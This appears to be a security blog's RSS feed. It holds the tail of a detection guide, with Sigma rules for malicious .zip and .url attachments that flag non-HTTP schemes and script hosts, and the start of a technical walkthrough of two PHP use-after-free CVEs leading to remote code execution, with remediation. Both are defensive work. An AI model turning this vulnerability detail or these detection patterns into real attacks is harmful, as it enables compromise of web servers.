%TEMP%\ paths with paths matching *.zip* or Temp*\RAR* extraction-temporary folders — short-lived but enumerable.</li><li>Sysmon Event ID 1 (ProcessCreate) — child process from explorer.exe whose Image path is below %LOCALAPPDATA%\Temp\ and the file-extension is .exe / .dll / .bat / .cmd.</li><li>MDO alert Common Attachment Type Filter block — the .zip and .rar files are Common-Attachment-Filtered categories currently blocked only for password-protected files since Feb-2025 via Defender Threat Analysis Service.</li><li>Segmental Alert from Microsoft 365 Defender Low-reputation attachment in archive (auto-archive-scan classification thrown).</li><li>Defender Threat Analysis Service (TAS) — Microsoft&#39;s cloud-side password-protector extractor (used inside Defender for Office) — since Feb 2025 the TAS attempts common-password-list-recovery on password-protected archives up to ~30 million password combinations in 60 seconds before prompting the user; if the recovered password is an unusual pattern like 123456, Defender adds the archive hash to the global block-list candidate.</li></ul><p><strong>Sigma rule — Suspicious zip-arrival plus .exe extraction-relaunch:</strong></p><pre>title: Executable Extracted from ZIP and Run from Temp Folder<br>status: experimental<br>description: Sequential pattern — file extracted from a ZIP archive under a temp folder is the program launched by the user.<br>logsource:<br>  product: windows<br>  category: process_creation<br>detection:<br>  selection:<br>    Image|endswith: .exe<br>    CommandLine|contains:<br>      - \AppData\Local\Temp\<br>      - \AppData\Local\Temp\Temp<br>      - \AppData\Local\Temp\7z<br>      - \AppData\Local\Temp\WinRAR<br>    ParentImage|endswith: \explorer.exe<br>  filter_known:<br>    Image|startswith:<br>      - C:\Program Files\<br>      - C:\Windows\<br>  condition: selection and not filter_known<br>falsepositives:<br>  - In-place software-updater extractors (e.g., Teams, Notion) running their self-extracted patches; vendor-compare.<br>level: medium</pre><p><strong>Control recommendations:</strong></p><ul><li>MDO: enable Defender Threat Analysis Service (TAS) for password-protected archives — already on by default since Feb-2025; verify the tenant setting AllowPasswordProtectedArchives is set to ApplyScanning not AllowWithWarning.</li><li>Microsoft 365: consider enabling BlockExecutablesInArchives (Defender for Office feature) — this auto-quarantines archives whose first-file is an executable index.</li><li>Defender for Endpoint rule Block extraction of executables from email archives by default (configurable via Microsoft 365 Defender\Disarm-FromEmail).</li></ul><p><strong>False-positive profile:</strong></p><ul><li>Internal software-distribution edge-rollouts pushed via e-mail archived fillers (Dell Command | Update).</li><li>Vendor-pushed portable tools (portable-WSL-Admin-Tools.zip) when operated by an admin user — consider Temporary-folder exception with end-user-awareness policy note.</li></ul><h3>Extension 10 — .url (InternetShortcut)</h3><p><strong>Handler:</strong> iexplore.exe (legacy .url opens via the IE handler) OR msedge.exe / chrome.exe for modern .url shims.</p><p><strong>Detection artefacts:</strong></p><ul><li>Sysmon Event ID 1 (ProcessCreate) — iexplore.exe spawning with a URL inside the .url content&#39;s URL= field (the target inside a .url file is plaintext).</li><li>Sysmon Event ID 22 (DNS) — first-time-seen domains resolved within 10 seconds of a .url-invoked browser launch.</li><li>MDO alert URL Detonation (when EOP Plan 2 is enabled) — detonation-report-from-safe-links-result.</li><li>Edge-SmartScreen reputation alert via ETW Microsoft-Windows-SmartScreen ({bdb0eaf7-3a31-4dd3-8fa6-5c4eff76ac4f}) — flag LowReputationLR Context-Run.</li><li>Sysmon Event ID 8 (RemoteThread) — when the .url file&#39;s payload is a javascript: URL blocked-replaced-by-default by MDO since 2025/02 but still active in some legacy clients — worth a small Sigma alert.</li></ul><p><strong>Sigma rule — </strong><strong>.url file invoked with non-http scheme:</strong></p><pre>title: Internet Shortcut (.url) Executed with Non-HTTP Scheme<br>status: experimental<br>description: Detects shortcut files invoking javascript:, vbscript:, file:, or other non-http protocols — a common .zip-block-evasion fallback.<br>logsource:<br>  product: windows<br>  category: process_creation<br>detection:<br>  selection_image:<br>    Image|endswith:<br>      - \iexplore.exe<br>      - \msedge.exe<br>      - \chrome.exe<br>  selection_cmd:<br>    CommandLine|contains:<br>      - javascript:<br>      - vbscript:<br>      - file:<br>      - shell:<br>  condition: selection_image and selection_cmd<br>falsepositives:<br>  - Internal HTML-help pages invoked via `ms-its:` (rare).<br>level: medium</pre><p><strong>Control recommendations:</strong></p><ul><li>MDO: enable .url block in mail-flow rule — not currently in MDO&#39;s default-block list as of Aug-2026; community recommendation is to add it because of the rise in Q1-2026 .zip-block-evasion delivery pattern.</li><li>Edge / Chrome enterprise policy: URLAllowlist policy param RestrictUrlSchemesToHttpHttps — set to Enabled to deny the .url smisher&#39;s javascript: shortcut.</li><li>WDAC: deny iexplore.exe for non-admin users (the IE-as-attack-surface cohort has been the canonical MITRE T1204.002 fallback since IE was deprecated).</li></ul><p><strong>False-positive profile:</strong></p><ul><li>Internal link-shortcut pages in the corporate IT governance powershell-bound admin-Navigator-suite (sign-in-mfa.url shortcuts can be on chrome.htm blend pages).</li></ul><h3>The unified extension-to-detection-engineering framework</h3><p>Three layered rules compose to cover all ten extensions in any enterprise below:</p><ol><li><strong>Layer 1 — MDO default-block + Safe Attachments + Defender Threat Analysis Service.</strong> MDO blocks delivery of .exe/.dll/.scr/.cpl, .iso/.img/.vhd/.vhdx (post-2023), .hta/.html (post-2022 partial, full 2025), .js/.jse/.vbs/.vba (post-Jan-2024), .one/.onepkg containing suspicious sub-files (post-Nov-2023), passwordless-archives-with-executables (post-Feb-2025). Add .url to your custom mail-flow rule manually (still not in the default MDO block-list).</li><li><strong>Layer 2 — ASR rules in Block mode</strong> across the endpoint. The four rules that catch all ten extensions in some way: Block child process from Office apps (ASR rule 6 GUID d4f940ab-401b-4efc-aadc-ad5f3c508882), Block executable files from running unless they meet prevalence / age / trusted list criterion (GUID c1db55ab-c21a-4837-a83a-3837899a8a7e), Block execution of potentially obfuscated scripts (GUID 5beb7efe-fd92-475b-b934-35c1d0ccc0ae), Block Win32 API calls from Office macros (GUID 9e86c8b4-0ef6-4c4a-b45f-ef60c4e2e9ee).</li><li><strong>Layer 3 — WDAC enforced mode</strong> denies unsigned-side-loaded binaries from %USERPROFILE%\Downloads\ and %LOCALAPPDATA%\Temp\; for .hta/.ps1/.js/.vbs add explicit -Deny rules on the corresponding binary (mshta.exe, powershell.exe, wscript.exe). For high-sensitivity tenants, deny iexplore.exe for non-admins (the IE-as-attack-surface cohort).</li></ol><p>Layer 1 + Layer 2 + Layer 3 cover all ten extensions on a default-applied enterprise configuration. The Sigma rules above are the audit-side fallback when any one of those three layers is configured as Audit instead of Block.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e08dcc45606e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PHP2Shell (CVE-2026–109618 and CVE-2026–109619): A Deep Technical Walkthrough]]></title>
            <link>https://coffsec.medium.com/php2shell-cve-2026-109618-and-cve-2026-109619-a-deep-technical-walkthrough-9c4d49b641b8?source=rss-0be1189f4fb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c4d49b641b8</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[COFFSec]]></dc:creator>
            <pubDate>Fri, 23 Oct 2026 13:07:25 GMT</pubDate>
            <atom:updated>2026-10-23T13:07:40.172Z</atom:updated>
            <content:encoded><![CDATA[<p>A source-backed, step-by-step explanation of PHP2Shell: follow HTTP input into Zend, understand unfinished entries and expired references, compare confirmed mod_php and FPM paths. Updated with the October 23 PHP session advisory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Zk3357SgPosI0yz0.jpg" /></figure><h3>1. Background: how a PHP web request actually works</h3><h3>1.1 The four layers</h3><p><strong>The frontend</strong> accepts HTTP and may terminate TLS, buffer a body, or reject a request. Examples are Apache, nginx, and Caddy. <strong>The SAPI</strong>, short for Server Application Programming Interface, connects the frontend to PHP. <strong>The Zend Engine and extensions</strong> implement PHP execution, memory management, sessions, and request parsing. <strong>Your application</strong> runs on top of that runtime.</p><p>A PHP framework’s authentication normally belongs to the last layer. Automatic form parsing can happen before that layer begins. Authentication enforced by a reverse proxy before dispatch is a different boundary and can prevent unauthenticated traffic from reaching PHP. Saying ‘authentication cannot help’ without identifying the layer is too broad.</p><pre>HTTP client<br>    |<br>    v<br>Frontend: accept, decode, route, possibly reject<br>    |<br>    v<br>SAPI: hand the request to PHP<br>    |<br>    v<br>PHP startup and automatic input parsing<br>    |<br>    v<br>Application: routing, login, business logic<br>    |<br>    v<br>PHP shutdown: release request resources<br>    |<br>    v<br>Worker exits or becomes available for another request</pre><p><strong>The important observation:</strong> no useful application functionality is necessary for an application-independent parser path. A trivial PHP script is enough to cause the runtime to initialize and parse the request. That does not remove application-specific prerequisites from other paths, particularly the validated FPM stale-state case.</p><h3>1.2 One normal request, step by step</h3><ol><li><strong>The frontend chooses PHP.</strong> Routing must actually dispatch the request to a PHP runtime. A static file served without PHP is not the same path.</li><li><strong>The SAPI supplies request metadata.</strong> Method, content type, body information, and server variables become available to the runtime.</li><li><strong>PHP starts request initialization.</strong> Core, executor, and extension lifecycle work runs in a particular order. Some input and configuration operations can run before the relevant ordinary initialization has completed.</li><li><strong>The body is parsed when applicable.</strong> Form fields become PHP values; multipart files create metadata and temporary files. Exactly when parsing occurs depends on the SAPI and PHP configuration.</li><li><strong>The script executes.</strong> Now your framework can authenticate, authorize, and handle the request.</li><li><strong>Shutdown releases request-owned state.</strong> Reference counts, destructors, resources, temporary files, and extension state may all be involved. The process itself need not end.</li><li><strong>The worker is reused.</strong> A surviving process may handle another client. In threaded deployments, the relevant globals can be thread-local rather than literally shared by every thread.</li></ol><p>This is a conceptual ordering, not a claim that every module is initialized before every input callback. The early callbacks and diagnostics are exactly why initialization order matters for 109619.</p><h3>1.3 Three different lifetimes</h3><ul><li><strong>Request lifetime:</strong> a form field or backtrace allocated for one request should not be consumed after that request’s memory is released.</li><li><strong>Worker lifetime:</strong> a process, or its thread-local execution context, can outlive many requests.</li><li><strong>Deployment lifetime:</strong> a package or container image can change while an old worker still runs its previous binary and mapped libraries.</li></ul><p>The stale-state bug crosses the first two lifetimes. Incomplete patch rollout confuses the last two. Replacing a file on disk does not replace the code already running in a worker.</p><h3>1.4 The terms needed for the rest of the article</h3><ul><li><strong>SAPI:</strong> PHP’s interface to its host server or process manager.</li><li><strong>Zend Memory Manager:</strong> the allocator used for much of PHP’s request-owned memory. Not every allocation in a worker is necessarily included in PHP’s memory accounting.</li><li><strong>HashTable:</strong> PHP’s native container for arrays, including form-variable arrays.</li><li><strong>Bucket:</strong> one native hash-table entry, with a key and a typed PHP value.</li><li><strong>zval:</strong> PHP’s native value representation. Its type information tells cleanup whether the value holds an integer, string, object, or another kind of data.</li><li><strong>Bailout:</strong> a nonlocal escape from native execution, historically implemented using setjmp()/longjmp() machinery in relevant failure paths.</li><li><strong>Use after free:</strong> code accesses memory through a reference after the referenced allocation has been released.</li><li><strong>Producer and consumer:</strong> the operation that leaves stale state, and the later operation that uses it.</li><li><strong>VM safe point:</strong> a place where the virtual machine can process a pending condition without abandoning arbitrary native code in an inconsistent state.</li></ul><h3>2. How the protocol works at the wire level</h3><p>Neither CVE introduces a new network protocol. The input arrives as ordinary HTTP, possibly over HTTPS. TLS protects transport confidentiality; it does not validate PHP’s memory ownership rules.</p><h3>2.1 A harmless URL-encoded form</h3><p>Here is a complete, ordinary HTTP/1.1 request. The body contains 17 ASCII bytes; the CRLF sequences separating headers are not part of Content-Length.</p><pre>POST /index.php HTTP/1.1<br>Host: 127.0.0.1:8080<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 17<br>Connection: close<br>topic=php&amp;mode=ok</pre><ol><li><strong>POST</strong> tells the server this request carries submitted data.</li><li><strong>Content-Type</strong> chooses how PHP interprets that data. A body with the wrong content type may not reach the intended automatic form parser.</li><li><strong>Content-Length</strong> describes body bytes on this HTTP/1.1 connection. It is not a bound on all native allocations PHP makes to represent the request.</li><li><strong>The ampersand</strong> separates fields; the equals sign separates each name from its value.</li><li><strong>PHP creates two keys and two values.</strong> The script sees topic =&gt; php and mode =&gt; ok after the parser has created those native values.</li></ol><p>The key and the value are distinct allocations and distinct parser inputs. A large value does not exercise exactly the same code as a large field name. But the official OOM advisory is broader than one unusually long-key technique, so a rule aimed only at field-name length is not a complete CVE fix.</p><h3>2.2 A harmless multipart form</h3><p>Multipart requests use a boundary to delimit parts. Each part has its own headers. The following shows only the body; a real client generates the matching Content-Type boundary parameter and the HTTP message framing.</p><pre>--coffsec-lab-boundary<br>Content-Disposition: form-data; name=&quot;topic&quot;<br>php<br>--coffsec-lab-boundary<br>Content-Disposition: form-data; name=&quot;sample&quot;; filename=&quot;note.txt&quot;<br>Content-Type: text/plain<br>hello lab<br>--coffsec-lab-boundary--</pre><p><strong>name</strong> selects the form variable. <strong>filename</strong> describes the uploaded file and is not a server filesystem path chosen by PHP. <strong>The part’s Content-Type</strong> describes that file’s content; it is different from the request’s overall multipart content type. PHP creates a $_FILES entry and can create temporary storage while processing the upload.</p><p>For multipart investigations, distinguish request headers, part headers, field names, field values, and file bytes. Searching only the file bytes misses attacks carried in metadata; treating any upload containing PHP source as an exploit generates false positives.</p><h3>2.3 Wire bytes are not heap bytes</h3><p>A frontend body limit answers ‘how many body bytes may arrive?’ PHP’s memory_limit answers a different question: ‘how much memory accounted to this request may the interpreter allocate?’ A multipart body can require native entries, strings, arrays, and metadata in addition to its wire representation.</p><p>The PHP advisory identifies memory amplification through part headers, empty file controls, and nested field names. It also identifies problems with initial size checks when a usable declared content length is unavailable. These are reasons to validate decoded input at the frontend, not instructions to rely on a single Content-Length check.</p><p>HTTP/2 and HTTP/3 use their own framing rather than HTTP/1.1 chunk syntax. A proxy can buffer and reframe a request before PHP receives it. Analyze the body and metadata <strong>as delivered to the SAPI</strong>, not just the packet the client first sent.</p><h3>2.4 Why upload progress runs so early</h3><p>PHP’s session upload progress feature can update session information while a file is still arriving. Waiting until the application script starts would be too late to provide useful progress. The PHP manual explicitly states that this information is written before scripts execute.</p><p>When enabled, the configured upload-progress form field activates the feature for a suitable multipart upload. The default field name is PHP_SESSION_UPLOAD_PROGRESS, but deployments may configure a different name. An ordinary POST is not automatically an upload-progress request, and the feature being enabled does not by itself prove that stale state was produced or consumed.</p><p>No application call to session_start() is needed for the relevant early upload-progress handling. Conversely, a progress entry may be cleaned up by the end of a successful upload, so not finding it afterward is not proof that the callback never ran.</p><p><strong>Checkpoint:</strong> you should now be able to explain why an innocuous-looking HTTP form can exercise complex native memory code before login middleware, and why request size, memory use, and execution stage are three separate facts.</p><h3>3. CVE-2026–109618: the unfinished-entry problem</h3><h3>What makes this attack succeed (the root cause)</h3><p>The critical assumption is an <strong>invariant</strong>: if a container’s bookkeeping says that a slot is populated, code that traverses that slot must see either a valid value or an explicitly recognized empty/deleted state. During ordinary uninterrupted execution, native code can temporarily violate that invariant and restore it a few instructions later. A nonlocal bailout can make the temporary violation visible to shutdown.</p><p>Datadog documents one concrete manifestation in _zend_hash_str_add_or_update_i(). PHP’s advisory covers the wider class: any allocation failure while incomplete request memory is reachable can be dangerous, even if the failed allocation is not the incomplete structure itself. Do not equate the entire CVE with one hash-table function.</p><h3>3.1 Read the vulnerable source, one line at a time</h3><p>This four-line excerpt is from the pre-fix revision linked by Datadog. It explains the ordering problem without supplying a forged object, memory addresses, or an exploitation layout.</p><pre>idx = ht-&gt;nNumUsed++;<br>ht-&gt;nNumOfElements++;<br>p = ht-&gt;arData + idx;<br>p-&gt;key = key = zend_string_init(str, len, GC_FLAGS(ht) &amp; IS_ARRAY_PERSISTENT);</pre><ol><li><strong>idx = ht-&gt;nNumUsed++</strong> selects the next used-slot index and advances the used-slot boundary. nNumUsed is not simply the number of live elements; PHP arrays can contain holes.</li><li><strong>ht-&gt;nNumOfElements++</strong> increments the logical live-element count. That is a separate piece of bookkeeping from the used-slot boundary.</li><li><strong>p = ht-&gt;arData + idx</strong> chooses the address of the new bucket. Computing an address does not initialize the value stored there.</li><li><strong>zend_string_init(…)</strong> allocates and copies the key. If allocation invokes a bailout, the assignment and the remainder of insertion do not complete normally.</li></ol><p><strong>The precise gap:</strong> the table has published a larger range of entries before the new entry is fully initialized. Cleanup can traverse an entry that ordinary execution would have finished constructing.</p><h3>3.2 The state transition, step by step</h3><p>The following numbers are explanatory, not an exploit-specific heap layout.</p><pre>A. Before insertion<br>   used slots = 2; live elements = 2<br>   [valid entry] [valid entry] [unused slot]<br>B. Bookkeeping advances<br>   used slots = 3; live elements = 3<br>   [valid entry] [valid entry] [construction in progress]<br>C. Key allocation cannot complete<br>   native insertion is abandoned by a bailout<br>   the remaining initialization does not run<br>D. Shutdown traverses the counted range<br>   the third slot is inside that range<br>   its bytes are interpreted as a PHP value</pre><p>The bug is not an ordinary ‘too much memory’ error. It is <strong>the state PHP leaves behind when handling that error</strong>. A cleanly rejected allocation is expected behavior. A shutdown traversal that trusts an incomplete entry is the memory-safety failure.</p><h3>3.3 How the vulnerable path unfolds</h3><p><strong>Step 1: reach native input handling.</strong> The frontend routes a request to PHP. On the confirmed mod_php path, automatic body parsing happens before the script begins. Application login has not yet run.</p><p><strong>Step 2: begin an operation with a temporary invalid state.</strong> The interpreter starts inserting input into a native structure. A counter or reachable pointer is updated before all associated initialization is complete.</p><p><strong>Step 3: an allocation fails in the vulnerable window.</strong> The old OOM machinery abandons the current native context. Merely getting any allocation failure is not enough to establish that this particular window was hit.</p><p><strong>Step 4: the SAPI decides what happens next.</strong> mod_php invokes request shutdown even when startup failed. FPM terminates its child on startup failure instead. This difference controls whether the demonstrated startup corruption is subsequently consumed.</p><p><strong>Step 5: cleanup encounters the incomplete value.</strong> Destruction is active code, not just erasing bytes. It can consult type tags, follow pointers, release references, and dispatch object/resource cleanup. Invalid bytes can therefore influence control flow.</p><p><strong>Step 6: exploitability depends on additional control.</strong> A reliable RCE requires more than this source ordering: relevant memory contents, valid addresses, and build-specific behavior must be brought under control. PHP reports validated complete RCE against mod_php; a simple OOM message does not independently reproduce that result.</p><h3>3.4 Why longjmp() matters</h3><p>A normal error-return path can release temporary allocations, restore counters, and return failure to its caller. A longjmp()-style bailout transfers control to a saved recovery point rather than returning through each native caller. Any repair code later in the abandoned operation is skipped.</p><p>This is not the same as a PHP exception handled with application try/catch. The vulnerable behavior occurs in the runtime’s native error machinery and can precede application execution. Also, ‘longjmp never runs cleanup’ is too imprecise: it skips normal returns through the abandoned code, but the outer runtime may still perform request shutdown. That <strong>combination</strong> is what makes the inconsistent state dangerous.</p><h3>3.5 A safe local model of the ordering bug</h3><p>Save this as invariant_demo.py and run it with python3 invariant_demo.py. It is a Python ownership analogy using ordinary exceptions; it does not access freed memory or send a request to PHP.</p><pre>def interrupted_insert(table):<br>    table[&#39;used&#39;] += 1<br>    raise MemoryError(&#39;simulated allocation failure&#39;)<br>    table[&#39;entries&#39;].append(&#39;new value&#39;)<br>def staged_insert(table):<br>    value = &#39;fully initialized value&#39;<br>    table[&#39;entries&#39;].append(value)<br>    table[&#39;used&#39;] = len(table[&#39;entries&#39;])<br>table = {&#39;used&#39;: 2, &#39;entries&#39;: [&#39;first&#39;, &#39;second&#39;]}<br>try:<br>    interrupted_insert(table)<br>except MemoryError:<br>    print(&#39;interrupted:&#39;, table[&#39;used&#39;], len(table[&#39;entries&#39;]))<br>    assert table[&#39;used&#39;] != len(table[&#39;entries&#39;])<br>table = {&#39;used&#39;: 2, &#39;entries&#39;: [&#39;first&#39;, &#39;second&#39;]}<br>staged_insert(table)<br>print(&#39;completed:&#39;, table[&#39;used&#39;], len(table[&#39;entries&#39;]))<br>assert table[&#39;used&#39;] == len(table[&#39;entries&#39;])</pre><p>Expected output is interrupted: 3 2 followed by completed: 3 3. The model makes one idea visible: publishing bookkeeping before construction can leave a false claim about what exists. It is not a simulation of Zend’s allocator, and PHP’s actual fix is broader than the staged insertion shown here.</p><h3>What happens if the attack succeeds (the consequence)</h3><p>Successful exploitation gives execution in the web worker’s security context. On many Linux deployments that is www-data or apache, not automatically root. It can expose source code, application-readable configuration, database credentials, writable application content, and reachable services. What happens beyond the worker depends on filesystem permissions, containers, network policy, and other trust boundaries.</p><p>A failed HTTP response is not proof that execution failed: shutdown can run after request processing fails. Likewise, no worker crash is not proof of safety. Datadog explicitly notes that successful command execution need not crash the worker.</p><h3>Remediation plan for 109618</h3><ol><li><strong>Apply a fixed upstream release or a confirmed vendor backport.</strong> The upstream thresholds are 8.2.35, 8.3.36, 8.4.27, and 8.5.12.</li><li><strong>Replace all old workers.</strong> Rebuild images and roll them out, or restart the appropriate web server/FPM service. A graceful rollout must actually drain and remove every old worker before closure.</li><li><strong>If temporarily unable to patch, follow PHP’s advisory rather than a copied exploit-specific rule.</strong> Administratively enforced memory_limit=-1 removes the predictable PHP limit used by the confirmed OOM strategy, but underlying allocation failures remain possible. This setting can increase host-level denial-of-service risk and must be paired with frontend and resource controls.</li><li><strong>Bound decoded request work before PHP.</strong> Cover total body size, parts, part headers, variables, and nesting where your frontend supports them. Reject multipart requests on routes that never need them.</li><li><strong>Do not substitute RLIMIT_AS or RLIMIT_DATA.</strong> PHP specifically warns that these can force the allocation-failure path. Container/cgroup limits are availability boundaries, not a complete memory-safety fix.</li></ol><p><strong>Checkpoint:</strong> an OOM error is not the exploit, the hash-table excerpt is not the whole CVE, and FPM’s startup behavior is not the same as mod_php’s.</p><h3>4. CVE-2026–109619: the expired-reference problem</h3><h3>What makes this attack succeed (the root cause)</h3><p>A worker can keep a global field for error, session, object, or extension state. The field can point at an allocation owned by one request. That design is safe only if the field is cleared before its allocation is released, or if nothing can consume it before reinitialization.</p><p>PHP’s advisory identifies paths where <strong>both safeguards fail</strong>: the reference survives request teardown, and a subsequent operation uses it before ordinary initialization has reset it. A fatal interruption can skip the intended reset. A later shutdown diagnostic can also repopulate error state after it was already cleared, so ‘clear it once during shutdown’ is not a sufficient general rule.</p><h3>4.1 The two-request timeline</h3><p>The address below is a symbolic label, not a real pointer or an exploitation offset.</p><pre>Worker W, request A<br>  1. Allocate request-owned object at address P<br>  2. Publish global_reference = P<br>  3. Interruption skips reset, or later cleanup repopulates it<br>  4. Release request A&#39;s memory<br>     global_reference still contains P<br>Worker W, request B<br>  5. An early operation runs<br>  6. It uses global_reference before ordinary initialization<br>  7. Address P no longer denotes request A&#39;s live object<br>     reading, freeing, or branching on it is unsafe</pre><p>The allocation can be reused for unrelated data or remain unmapped. Neither possibility makes the old reference valid. A stale pointer is a lifetime error even if its numeric address did not change.</p><h3>4.2 The five prerequisites, checked separately</h3><ol><li><strong>A reachable producer exists.</strong> Some operation publishes request-owned state in a worker-global location.</li><li><strong>The reference survives too long.</strong> An interrupted operation fails to reset it, or a later stage repopulates it after reset.</li><li><strong>The allocation is released.</strong> The worker continues while the backing memory no longer belongs to a live object from that request.</li><li><strong>Another request reaches the same relevant worker context.</strong> A later request on a different worker does not automatically have that reference.</li><li><strong>An early consumer uses it before normal initialization.</strong> Merely serving another request is not enough; the ordering of the consumer matters.</li></ol><p>These conditions explain why a fatal error alone, a session alone, or a single enabled INI feature is not proof of exploitable stale-state consumption. They also explain why a successful harmless request is not proof of absence.</p><h3>4.3 Confirmed case A: PHP 8.5 fatal-error backtraces</h3><p><strong>Producer:</strong> with fatal_error_backtraces enabled, fatal error reporting stores request-owned backtrace state. PHP states that its reset is missed during shutdown in the affected case.</p><p><strong>Consumer:</strong> a diagnostic caused by configuration applied before ordinary request initialization reaches the stale error state on a later request. It need not be a fatal diagnostic, and it need not be printed or logged. The state is accessed before reporting policy is applied.</p><p><strong>Why mod_php is important:</strong> Apache’s per-directory php_value/php_flag/php_admin_* configuration and .htaccess can be applied before php_request_startup(). This creates a route to early configuration diagnostics. Normal startup php.ini is not reapplied as an equivalent per-request consumer.</p><p><strong>What this does not mean:</strong> an attacker does not automatically gain the ability to edit .htaccess or arbitrary PHP configuration. The necessary configuration and reachable operation are deployment prerequisites, not privileges granted by an HTTP request.</p><p><strong>The consequence if the complete chain succeeds:</strong> stale state becomes an exploitable use after free and potentially remote execution in the worker. Disabling printed errors does not repair the lifetime violation.</p><h3>4.4 Confirmed case B: session upload-progress lifecycle</h3><p><strong>Producer:</strong> early upload handling can initialize request-owned session or decoder state. An interruption after that publication can prevent its matching reset.</p><p><strong>Consumer:</strong> a later upload-progress operation can reach session handling before ordinary session initialization and treat the old globals as valid.</p><p><strong>On mod_php:</strong> PHP documents a demonstrated application-independent path where producing state and the fatal interruption happen during multipart startup. The worker’s shutdown and survival behavior makes the later consumption possible.</p><p><strong>On FPM:</strong> a child whose startup fails is terminated. That prevents the exact startup-failure sequence from persisting. The <strong>validated FPM path instead produces state during application execution after successful startup</strong>, reaches a fatal error, and later reaches an early upload-progress consumer on the same worker. It depends on a suitable application operation and has been validated with a normal dynamic FPM pool.</p><p><strong>What this does not mean:</strong> ‘any POST to any FPM application gives RCE’ is not supported by the advisory. The normal input path can be widely reachable while a particular producer still requires application or extension behavior.</p><h3>4.5 Same worker is not the same as same connection</h3><p>An HTTP keep-alive connection can be relevant to scheduling in some Apache arrangements, but it is not a portable worker-pinning guarantee. A reverse proxy can keep one client connection while distributing backend requests, and FPM scheduling is controlled by its process manager and frontend.</p><p>The correct research observation is the <strong>PID/context actually handling each request</strong>. In the safe lab below, a normal response includes getmypid() so you can observe scheduling instead of assuming it. Repeated PIDs show reuse; they do not demonstrate stale memory or a successful exploit.</p><h3>4.6 Why an address leak and code execution are different findings</h3><p>Reading memory through an expired reference can disclose process data. Turning a memory-safety condition into a reliable control-flow change can require knowledge of addresses and allocator behavior. Datadog discusses disclosure as part of exploitation research, but an exposed session identifier, an HTTP error, and an actual native memory disclosure are not interchangeable observations.</p><p>For a technical report, label the result precisely: configuration prerequisite, reachable producer, observed early consumer, memory disclosure, crash, or demonstrated code execution. Do not report the strongest result based only on the weakest observation.</p><h3>4.7 Do not mix unrelated session chains into this CVE</h3><p>A file-inclusion chain that includes a session file requires a separate inclusion primitive. A serializer-format mismatch requires the relevant handler configuration and transition. Neither alone proves the cross-request stale-global-state bug described by 109619.</p><p>The October 23 advisory is a concrete reason to keep these separate: it names CVE-2026–115560 for an unusual serializer-switch condition, not a failure of the October 21 state-reset patch to fix 109619. This article does not treat every circulating session PoC or suspicious filename as independent validation of the original CVEs.</p><h3>What happens if the attack succeeds (the consequence)</h3><p>A complete exploit can execute code as the web worker and potentially disclose worker memory. It does not automatically escape a container or elevate to root. Compromise can still expose application secrets and data available to the worker even when the host boundary holds.</p><p>Application logs may omit pre-script activity. However, that does <strong>not</strong> mean the attack is inherently invisible: frontend logs, interpreter diagnostics, process events, and other host telemetry can still record parts of it. For an application-dependent producer, application execution can be part of the sequence.</p><h3>Remediation plan for 109619</h3><ol><li><strong>Apply the complete state-reset fix</strong> through the fixed upstream branch release or a vendor backport. No generic configuration setting covers every producer and consumer.</li><li><strong>Replace every old worker.</strong> Runtime state and old code persist until the workers are removed.</li><li><strong>For a temporary PHP 8.5 mitigation, administratively disable fatal_error_backtraces</strong> and restart workers. This removes the confirmed backtrace producer, not all possible stale globals.</li><li><strong>Administratively disable session.upload_progress.enabled</strong> where upload progress is not needed, then restart workers. This blocks the demonstrated early session paths. PHP’s October 23 advisory provides an additional reason to keep this mitigation while evaluating serializer changes.</li><li><strong>Audit per-request configuration diagnostics and attacker-reachable fatal paths.</strong> Removing one early warning or one callback failure reduces that path, but it is not proof that all other paths are absent.</li><li><strong>Apply settings before parsing.</strong> A runtime ini_set() inside the application cannot retroactively change a callback that has already executed. FPM .user.ini is not a substitute for the early administrative setting described by PHP.</li></ol><p><strong>Checkpoint:</strong> explain the producer, freed allocation, surviving reference, same-worker requirement, and early consumer separately. If one is missing from an experiment, you have not reproduced the full stale-state sequence.</p><h3>5. Research evidence: what is confirmed on each SAPI?</h3><p>A useful research article separates a vendor’s broad affected-product warning from evidence for a particular exploit path. PHP warns all web deployments to update; the technical advisories still make distinctions about which sequences were demonstrated.</p><h3>5.1 Apache with mod_php</h3><p><strong>109618: confirmed complete RCE.</strong> PHP reports validation over HTTP with default input and memory limits and normal prefork configurations containing multiple workers. mod_php’s unconditional request-shutdown behavior exposes incomplete state after startup failure. A single-worker demonstration is not the limit of the vendor’s confirmed impact.</p><p><strong>109619: confirmed exploitation.</strong> The PHP 8.5 fatal-backtrace case and session-upload-progress lifecycle are documented. Per-directory configuration can provide an early diagnostic consumer. The exact producer and configuration still matter.</p><p><strong>How to identify it:</strong> the diagnostic endpoint in the lab reports PHP_SAPI = apache2handler. Seeing the word Apache in a Server header alone is not enough: Apache can also proxy to FPM.</p><h3>5.2 PHP-FPM</h3><p><strong>109618: susceptible by source analysis, no complete FPM exploit demonstrated in the PHP advisory.</strong> FPM terminates a child after request-startup failure. OOM after successful startup can still encounter invalid-state contexts, so startup behavior is not a blanket immunity statement.</p><p><strong>109619: validated application-dependent path.</strong> PHP describes state publication during application execution, a fatal interruption, then an early session consumer in another request on the same worker. An INI-diagnostic consumer is conditional on early PHP_VALUE/PHP_ADMIN_VALUE supplied through the frontend; ordinary pool startup values and .user.ini are not equivalent.</p><p><strong>How to identify it:</strong> PHP_SAPI commonly reports fpm-fcgi. Identify the actual pool, service, executable, loaded configuration, extensions, and package source. Do not infer them from an unrelated CLI binary.</p><h3>5.3 FrankenPHP</h3><p><strong>109618: likely susceptible to application-independent paths by PHP’s source analysis</strong>, because shutdown is called unconditionally. That evidence label is weaker than a published complete exploit validated for a named build.</p><p><strong>109619: do not copy mod_php’s INI conclusion.</strong> PHP states that an equivalent early configuration consumer was not established in the default FrankenPHP configuration. This does not rule out different consumers from application or extension behavior.</p><h3>5.4 LSAPI and php-cgi</h3><p>PHP includes these deployments in its broad update warning. For LSAPI, the OOM advisory describes likely application-specific exposure by analogy to FPM, but unvalidated. The 